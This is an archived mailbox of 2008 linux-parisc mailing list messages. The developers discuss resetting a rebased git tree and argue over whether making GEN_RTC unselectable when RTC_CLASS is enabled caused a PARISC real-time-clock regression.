	Mon, 8 Sep 2008 17:17:01 -0400
Original-Received: from [213.49.80.26] (ip-213-49-80-26.dsl.scarlet.be [213.49.80.26])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m88LGslr022355;
	Mon, 8 Sep 2008 23:16:55 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.16 (X11/20080724)
In-Reply-To: <20080907162501.GD20992@phobos.i.cabal.ca>
X-DCC-scarlet.be-Metrics: hel 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/746>

Kyle,


Kyle McMartin wrote:
> On Sun, Sep 07, 2008 at 11:51:26AM +0000, Joel Soete wrote:
>> Hello Kyle,
>>
> 
> The history is non-linear, because I rebased it:
> 
Ah ok it's not yet another of my mistakes lol

> git fetch origin; git reset --hard origin/master
> 
Cool, I will try on my other clone (there I use http protocol and a b180 and in this figure it takes long hours before the 
clone action is finished. And unfortunately I don't have enough disk space to convert this tree in a hg or recent bzr one, 
that would probably help me to be convienced that git is well the more effcient vcs, ozn)

> while on your master branch should resolve it. But be careful, it
> will remove any of your local changes.
> 
> 
Well I just manage few external patch with quilt on another copy of your tree, I so not worry ;<)

Tx again for advises,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 14:29:57 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <200809081429.57805.david-b@pacbell.net>
References: <1220889205.8074.16.camel@localhost.localdomain> <200809081213.37705.david-b@pacbell.net> <1220905689.8074.68.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1220909420 2138 80.91.229.12 (8 Sep 2008 21:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 21:30:20 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 23:31:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcoKF-0006NT-Ry
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 23:31:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754203AbYIHVaJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 17:30:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754210AbYIHVaJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 17:30:09 -0400
Original-Received: from smtp124.sbc.mail.sp1.yahoo.com ([69.147.64.97]:29654 "HELO
	smtp124.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1754203AbYIHVaH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 17:30:07 -0400
Original-Received: (qmail 46948 invoked from network); 8 Sep 2008 21:30:06 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=rYbx6nArM53aCywECbnHmidNynt5ErU7Nr8o5a3CaLVDxLNvK5pDb2uDNmUEuOVYOw1GVwxJN4jfCFlZDTgAIiOyM6lF3zm65KtQfMNqbMIh4Yvc1fHKSMnkHewqJLavg2jqQKPMBl0USyppsOqRPv+XA/Uq5bgzaXU5w4JbTFY=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp124.sbc.mail.sp1.yahoo.com with SMTP; 8 Sep 2008 21:30:06 -0000
X-YMail-OSG: W5JhLdAVM1lfjNJt7nt4h7DtCRQfJ8Ts.mCFL5DFYCvpLiIhACNPgD9_85NejpekB8olEMU8XIttoZ2_wsbRErlgs.F4ephMyUMGNLLoPA--
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <1220905689.8074.68.camel@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:747 gmane.linux.kernel:731259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/747>

On Monday 08 September 2008, James Bottomley wrote:
>=20
> > > OK, I can look at that, but in the mean time could we make the op=
tion
> > > that causes the damage unselectable?
> >=20
> > I'd worry if "the mean time" takes too long. =A0But lacking a
> > PARISC laptop to fix this on, I'm unlikely to complain much.
>=20
> What is the expectation? =A0If you're expecting all the architectures=
 to
> migrate over to RTC_CLASS, actually telling linux-arch and saying why
> its a good idea would have been helpful.

=46olk have been migrating already.  IMO there's no rush ... but
similarly, retrograde motion should be discouraged.  (Same issue
with essentially all legacy code in the tree.)


> All the PDC real time clock calls can do are read and set, nothing el=
se,
> so it's idealy suited to the GEN_RTC infrastructure ... what's the
> benefit in moving it to RTC_CLASS?

The same benefit always found in sharing infrastructure.  Lots
of little differences/bugs go away.  Infrastructure improvements
and bugfixes get leveraged.  Dead and crufticious code can vanish.
And so forth.


> > >=A0=A0=A0=A0=A0 This is technically a regression=20
> > > because before your patch GEN_RTC would override RTC_CLASS, now i=
t's the
> > > other way around.
> >=20
> > Well, previously there was no override ... I think you mean
> > that parisc just completely ignored RTC_CLASS, treating it
> > like junk DNA.
>=20
> No, it's a regression. =A0... =A0This turns off the ability to select
> GEN_RTC if you've said yes to RTC_CLASS. =A0Since RTC_CLASS is curren=
tly
> unsupported on parisc, we need to fix that by making the RTC_CLASS
> option unselectable on parisc.

So you affirmed that there was no override, AND that it was
previously treated as junk DNA (ignored).  So just what were
you disagreeing with me about??

I have a hard time calling something a regression which
was never really a supported configuration.  And which
still *JUST WORKS* in those defconfigs ... given all that,
it's hard to argue that something is actually broken.

Kconfig is not about letting Aunt Tillie configure kernels
without being able to shoot herself in the foot.  That
discussion has been had (at length!) before.  Result, we
have a much better kernel config framework ... but still
don't facilitate "Kconfig-4-dummiez" audiences.

- Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 14:35:04 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20080908.143504.121592746.davem@davemloft.net>
References: <200809081213.37705.david-b@pacbell.net>
	<1220905689.8074.68.camel@localhost.localdomain>
	<200809081429.57805.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220909727 3390 80.91.229.12 (8 Sep 2008 21:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 21:35:27 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 23:36:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcoPB-0007jO-15
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 23:36:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754123AbYIHVfO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 17:35:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753390AbYIHVfO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 17:35:14 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:36105
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1754123AbYIHVfN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 17:35:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 7E985C8C1B4;
	Mon,  8 Sep 2008 14:35:04 -0700 (PDT)
In-Reply-To: <200809081429.57805.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:748 gmane.linux.kernel:731261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/748>

From: David Brownell <david-b@pacbell.net>
Date: Mon, 8 Sep 2008 14:29:57 -0700

> On Monday 08 September 2008, James Bottomley wrote:
> > All the PDC real time clock calls can do are read and set, nothing else,
> > so it's idealy suited to the GEN_RTC infrastructure ... what's the
> > benefit in moving it to RTC_CLASS?
> 
> The same benefit always found in sharing infrastructure.  Lots
> of little differences/bugs go away.  Infrastructure improvements
> and bugfixes get leveraged.  Dead and crufticious code can vanish.
> And so forth.

I absolutely and positively agree with David here.

I just last week converted all of both sparc ports to the generic
RTC layer and what a huge burdon has been moved off of my shoulders.

The RTC layer is very nice and it even allows writing drivers for
very simplistic RTC devices (even ones that cannot be written)
with ease.  I had two such cases to handle on sparc64.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 16:37:40 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1220909860.8074.77.camel@localhost.localdomain>
References: <1220889205.8074.16.camel@localhost.localdomain>
	 <200809081213.37705.david-b@pacbell.net>
	 <1220905689.8074.68.camel@localhost.localdomain>
	 <200809081429.57805.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220909880 3950 80.91.229.12 (8 Sep 2008 21:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 21:38:00 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: David Brownell <david-b@pacbell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 23:38:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcoRa-0008M0-L5
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 23:38:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751785AbYIHVhn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 17:37:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754029AbYIHVhn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 17:37:43 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59873 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751785AbYIHVhn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 17:37:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 795C682C2;
	Mon,  8 Sep 2008 16:37:41 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id J5Fo7G8cZy5P; Mon,  8 Sep 2008 16:37:40 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B89F67F62;
	Mon,  8 Sep 2008 16:37:39 -0500 (CDT)
In-Reply-To: <200809081429.57805.david-b@pacbell.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:749 gmane.linux.kernel:731263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/749>

On Mon, 2008-09-08 at 14:29 -0700, David Brownell wrote:
> > No, it's a regression.  ...  This turns off the ability to select
> > GEN_RTC if you've said yes to RTC_CLASS.  Since RTC_CLASS is currently
> > unsupported on parisc, we need to fix that by making the RTC_CLASS
> > option unselectable on parisc.
> 
> So you affirmed that there was no override, AND that it was
> previously treated as junk DNA (ignored).  So just what were
> you disagreeing with me about??

The fact that the override you put in to disable GEN_RTC is causing a
regression.

> I have a hard time calling something a regression which
> was never really a supported configuration.  And which
> still *JUST WORKS* in those defconfigs ... given all that,
> it's hard to argue that something is actually broken.

On 2.6.25 the parisc users got a working realtime clock.  On 2.6.26 they
can find themselves without one using the same .config file.  This is
the regression.  The fix is to disable RTC_CLASS until we have it
working for parisc.

> Kconfig is not about letting Aunt Tillie configure kernels
> without being able to shoot herself in the foot.  That
> discussion has been had (at length!) before.  Result, we
> have a much better kernel config framework ... but still
> don't facilitate "Kconfig-4-dummiez" audiences.

Kconfig is complex enough that we try not to trip users up by hiding
things, especially when it's the wrong thing to hide on this platform.
If an option specifically doesn't work or causes harm on a platform, it
shouldn't be selectable on that platform.  This isn't Aunt Tillieism,
this is called common sense.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 18:00:47 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1220914847.8074.81.camel@localhost.localdomain>
References: <200809081213.37705.david-b@pacbell.net>
	 <1220905689.8074.68.camel@localhost.localdomain>
	 <200809081429.57805.david-b@pacbell.net>
	 <20080908.143504.121592746.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220914865 22281 80.91.229.12 (8 Sep 2008 23:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:01:05 +0000 (UTC)
Cc: david-b@pacbell.net, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:01:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcpk1-0002vp-E2
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:01:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754326AbYIHXAu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:00:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754034AbYIHXAu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:00:50 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54780 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752492AbYIHXAu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:00:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 09B0882C2;
	Mon,  8 Sep 2008 18:00:48 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id e7gu2gLikrZJ; Mon,  8 Sep 2008 18:00:46 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B7EFD7F61;
	Mon,  8 Sep 2008 18:00:46 -0500 (CDT)
In-Reply-To: <20080908.143504.121592746.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:750 gmane.linux.kernel:731289
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/750>

On Mon, 2008-09-08 at 14:35 -0700, David Miller wrote:
> From: David Brownell <david-b@pacbell.net>
> Date: Mon, 8 Sep 2008 14:29:57 -0700
> 
> > On Monday 08 September 2008, James Bottomley wrote:
> > > All the PDC real time clock calls can do are read and set, nothing else,
> > > so it's idealy suited to the GEN_RTC infrastructure ... what's the
> > > benefit in moving it to RTC_CLASS?
> > 
> > The same benefit always found in sharing infrastructure.  Lots
> > of little differences/bugs go away.  Infrastructure improvements
> > and bugfixes get leveraged.  Dead and crufticious code can vanish.
> > And so forth.
> 
> I absolutely and positively agree with David here.
> 
> I just last week converted all of both sparc ports to the generic
> RTC layer and what a huge burdon has been moved off of my shoulders.
> 
> The RTC layer is very nice and it even allows writing drivers for
> very simplistic RTC devices (even ones that cannot be written)
> with ease.  I had two such cases to handle on sparc64.

I'm guessing they're not upstream yet (since I can't find them)?

However, if you based them on rtc-ppc.c then yes, I agree, it looks
reasonably easy:  it's just a matter of converting over the GEN_RTC
PDT_TOD helpers.

On a related note ... I could do this specifically for parisc, but I
could also do a GEN_RTC conversion to PDC_CLASS ... would that be more
helpful?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 16:04:41 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20080908.160441.124972717.davem@davemloft.net>
References: <200809081429.57805.david-b@pacbell.net>
	<20080908.143504.121592746.davem@davemloft.net>
	<1220914847.8074.81.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220915112 23081 80.91.229.12 (8 Sep 2008 23:05:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:05:12 +0000 (UTC)
Cc: david-b@pacbell.net, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:06:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcpnr-0003eg-Fp
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:05:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754300AbYIHXEs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:04:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753985AbYIHXEs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:04:48 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:47850
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1753514AbYIHXEs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:04:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 96A00C8C1B4;
	Mon,  8 Sep 2008 16:04:41 -0700 (PDT)
In-Reply-To: <1220914847.8074.81.camel@localhost.localdomain>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:751 gmane.linux.kernel:731290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/751>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 08 Sep 2008 18:00:47 -0500

> On Mon, 2008-09-08 at 14:35 -0700, David Miller wrote:
> > The RTC layer is very nice and it even allows writing drivers for
> > very simplistic RTC devices (even ones that cannot be written)
> > with ease.  I had two such cases to handle on sparc64.
> 
> I'm guessing they're not upstream yet (since I can't find them)?

It's in my sparc next tree:

	master.kernel.org:/pub/scm/linux/kernel/git/davem/sparc-next-2.6.git

> However, if you based them on rtc-ppc.c then yes, I agree, it looks
> reasonably easy:  it's just a matter of converting over the GEN_RTC
> PDT_TOD helpers.

That's not what I do, I use the real RAW chip drivers provided by the
RTC layer.

That's the way to do this.

I think the powerpc folks did the wrong thing and should just register
generic platform_device objects in their platform code, and let the
RTC layer drive the individual devices in response.

All the powerpc folks are doing is providing a dummy shim into the
RTC layer using their machine description vector, and not really using
the RTC layer drivers at all.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 18:23:06 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1220916186.8074.84.camel@localhost.localdomain>
References: <200809081429.57805.david-b@pacbell.net>
	 <20080908.143504.121592746.davem@davemloft.net>
	 <1220914847.8074.81.camel@localhost.localdomain>
	 <20080908.160441.124972717.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220916199 26977 80.91.229.12 (8 Sep 2008 23:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:23:19 +0000 (UTC)
Cc: david-b@pacbell.net, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:24:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcq5c-0000Gq-Ug
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:24:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753701AbYIHXXK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:23:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754339AbYIHXXK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:23:10 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:58389 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753701AbYIHXXJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:23:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 1DF4482C2;
	Mon,  8 Sep 2008 18:23:07 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7KYrIdKTVL-k; Mon,  8 Sep 2008 18:23:05 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 49F9D7F61;
	Mon,  8 Sep 2008 18:23:05 -0500 (CDT)
In-Reply-To: <20080908.160441.124972717.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:752 gmane.linux.kernel:731292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/752>

On Mon, 2008-09-08 at 16:04 -0700, David Miller wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date: Mon, 08 Sep 2008 18:00:47 -0500
> 
> > On Mon, 2008-09-08 at 14:35 -0700, David Miller wrote:
> > > The RTC layer is very nice and it even allows writing drivers for
> > > very simplistic RTC devices (even ones that cannot be written)
> > > with ease.  I had two such cases to handle on sparc64.
> > 
> > I'm guessing they're not upstream yet (since I can't find them)?
> 
> It's in my sparc next tree:
> 
> 	master.kernel.org:/pub/scm/linux/kernel/git/davem/sparc-next-2.6.git
> 
> > However, if you based them on rtc-ppc.c then yes, I agree, it looks
> > reasonably easy:  it's just a matter of converting over the GEN_RTC
> > PDT_TOD helpers.
> 
> That's not what I do, I use the real RAW chip drivers provided by the
> RTC layer.
> 
> That's the way to do this.
> 
> I think the powerpc folks did the wrong thing and should just register
> generic platform_device objects in their platform code, and let the
> RTC layer drive the individual devices in response.
> 
